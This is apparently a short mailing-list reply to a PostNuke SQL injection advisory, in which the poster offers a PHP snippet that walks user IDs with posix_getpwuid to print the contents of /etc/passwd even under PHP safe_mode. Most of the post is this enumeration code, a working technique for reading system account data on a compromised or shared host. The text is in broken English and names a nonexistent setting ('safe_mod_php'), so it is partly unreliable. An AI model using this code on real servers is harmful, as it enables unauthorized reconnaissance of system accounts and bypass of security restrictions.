Re: [SECURITYREASON.COM] PostNuke Critical SQL Injection 0.760-RC2=>x cXIb8O3.1

[Linux php <wassemgtk@xxxxxxxxx>]

hi look

show to /etc/passwd

php.ini

safe_mod_php= on ;

or

safe_mod_php=off ;

code

-------------------------------------------

        for($uid=0;$uid<60000;$uid++){   
                                        $ara = posix_getpwuid($uid);
                                                if (!empty($ara)) {
                                                while (list ($key, $val) = 
each($ara)){
                                                 print "$val:";
                                                }
                                                print "<br>";
                                                }
                                        }
-------------------------------------------------------

show to /etc/passwd